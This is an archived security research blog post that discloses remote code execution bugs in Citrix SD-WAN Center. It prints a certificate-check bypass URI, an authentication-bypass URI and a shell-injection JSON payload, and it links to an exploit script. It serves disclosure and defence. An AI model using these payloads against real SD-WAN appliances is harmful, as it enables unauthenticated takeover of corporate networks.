SD-PWN Part 2 — Citrix SD-WAN Center — Another Network Takeover

SD-PWN Part 2 — Citrix SD-WAN Center — Another Network Takeover - Ariel Tempelhof, Medium.

- Published: 2020-11-15
- Original: <https://medium.com/realmodelabs/sd-pwn-part-2-citrix-sd-wan-center-another-network-takeover-a9c950a1a27c>
- Preserved from: https://medium.com/realmodelabs/sd-pwn-part-2-citrix-sd-wan-center-another-network-takeover-a9c950a1a27c (live) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Cybersecurity

Cyber

Cakephp

Citrix

Sd Wan

SD-PWN Part 2 — Citrix SD-WAN Center — Another Network Takeover

[[image: Ariel Tempelhof]](https://medium.com/@arieltm?source=post_page---byline--a9c950a1a27c----------)

Ariel Tempelhof

--

Everyone knows that Citrix takes security seriously. This is the story of how we gained remote code execution in the Citrix SD-WAN platform.

To be fair to Citrix, we did the same for Silver Peak and two more leading networking companies to be revealed in future posts. All the vulnerabilities we found allow full remote code execution. Is this representative of a problem with SD-WAN security as a whole?

If you use Citrix SD-WAN make sure you **update Immediately**. This is a major vulnerability which allows someone to intercept traffic or take down your whole international network.

Who Doesn't Like Cake

Citrix SD-WAN has been studied before by Chris Lyne of Tenable. He presented an RCE chain going all the way to the SD-WAN appliances. His Intro to CakePHP for Bug Hunters helped us a lot.

Not much has changed in the Citrix SD-WAN infrastructure. It still runs on Apache with CakePHP2 as the framework.

One of the most important parts of a security audit is examining past work and checking if past fixes have been implemented correctly. The main bug presented by Tenable was bypassing authentication by using the `Collector` endpoint to reach `diagnostics`. Citrix decided to block this access by adding the following access restriction in the apache configuration at `/etc/apache2/sites-enabled/talari`:

```
SSLCACertificateFile /home/talariuser/certificates/apnaware_cert.pem
...
<LocationMatch (?i)^/collector/>
 SSLVerifyClient require
 SSLVerifyDepth 0
</LocationMatch>
```

This looks legit. To use the `Collector` endpoint you must present a client certificate signed by the vendor. As we haven't found any way past this, we can't send a request starting with `/Collector/`. But how does the CakePHP2 framework handle URLs? Let's look at the function `_url` in `CakeRequest.php`:

```
protected function _url() {
 if (!empty($_SERVER['PATH_INFO'])) {
  return $_SERVER['PATH_INFO'];
 } elseif (isset($_SERVER['REQUEST_URI']) && strpos($_SERVER['REQUEST_URI'], '://') === false) {
  $uri = $_SERVER['REQUEST_URI'];
 } elseif (isset($_SERVER['REQUEST_URI'])) {
  $qPosition = strpos($_SERVER['REQUEST_URI'], '?');
  if ($qPosition !== false && strpos($_SERVER['REQUEST_URI'], '://') > $qPosition) {
   $uri = $_SERVER['REQUEST_URI'];
  } else {
   **$uri = substr($_SERVER['REQUEST_URI'], strlen(FULL_BASE_URL));**
  }...
 return $uri;
}
```

To put this in words, if our `REQUEST_URI` contains `?` after a `://` the beginning of the URI will be removed. This will cause a discrepancy between how Apache sees the URI and how CakePHP analyzes it, which in turn allows us to bypass the client certificate check for the `Collector` endpoint. A URI of the form

```
aaaaaaaaaaaaaaaa/://?/collector/diagnostics/stop_ping
```

will translate to

```
/collector/diagnostics/stop_ping
```

and require neither client certificate nor authentication.

We had an internal discussion whether this is a Citrix vulnerability or a much wider CakePHP2 one. We haven't come up with a conclusion and would love to hear your opinion.

Now for the actual CVEs:

Unauthenticated Path Traversal & Shell Injection in stop_ping — CVE-2020–8271

The `/collector/diagnostics/stop_ping` endpoint reads the file `"/tmp/pid_" . $req_id` and uses its contents in a `shell_exec` call. No sanitization is performed on the user supplied `$req_id` which allows path traversal. One can drop a file with user controlled content anywhere (for example, using `/collector/licensing/upload`) and run an arbitrary shell command.

ConfigEditor Authentication Bypass — CVE-2020–8272

This is an interesting bug related to how CakePHP translates the URI to Endpoint function parameters. Each element of the URI path after the endpoint name will be treated as a handler function parameter. If we have a router definition of

```
Router::connect('/sdwan_center/nitro/v1/config_editor/:resource/*', array('controller' => 'restApi', 'resource' => '[a-zA-Z
```

and our handler definition is

```
public function configEditor($params, $auth = false,$internal = false)
```

The `$auth` parameter is specifically used in internal calls and is not meant to be set from outside. But, using the following URI:

```
/sdwan_center/nitro/v1/config_editor/config_packages/test2=test2/test3/test4
```

will result in the following parameter assignments

```
$resource = "config_packages;
$params = "test2=test2"
$auth = "test3";
$internal = "test4";
```

Since the `$auth` parameter is now assigned, all of the `configEditor` functionality is accessible without authentication.

CreateAzureDeployment Shell Injection — CVE-2020–8273

In the `AzureDeployment/createAzureDeployment` endpoint, user supplied data is being JSON encoded and concatenated to an `exec` call using the code:

```
$deploymentData = json_encode($this->request->data,JSON_UNESCAPED_SLASHES);$cmd = "sudo python3 ".START_D
$cmdResult = exec($cmd);
```

Passing parameters of the form

```
{"loginData": "test';ping -c 5 192.168.1.1;'", "param": "1"}
```

Will run the shell command `ping -c 5 192.168.1.1`.

RCE Chain

Combining the `Collector` authentication bypass and the `stop_ping` shell injection will result in a pre-authenticated remote code execution. Here is an exploitation script:

RealmodeLabs/SD-PWN ### RCE Scripts for various SD-WAN Vendors. Contribute to Realmode Labs/SD-PWN development by creating an account on GitHub. github.com

Closing Remarks

We've shown in this post two authentication bypasses and two shell injections in Citrix SD-WAN Center.

In defense of Citrix we'll admit that it's hard to anticipate that CakePHP would treat URLs the way that it does. That's why performing dedicated security audits on your products is so important.